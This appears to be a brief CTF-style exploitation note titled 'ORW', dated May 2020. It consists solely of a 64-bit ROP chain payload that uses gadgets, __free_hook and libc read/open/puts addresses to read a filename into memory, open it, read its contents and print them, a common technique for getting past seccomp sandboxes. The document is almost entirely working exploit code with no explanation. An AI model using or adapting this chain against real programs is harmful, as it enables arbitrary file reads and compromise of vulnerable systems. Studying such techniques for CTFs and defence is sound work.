ORW

11 May 2020

payload  = p64(0) + p64(pop_rsi_ret) + p64(free_hook) + p64(pop_rdx_ret) + p64(4) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(free_hook) + p64(pop_rsi_ret) + p64(4) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(free_hook) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(free_hook) + p64(puts_addr)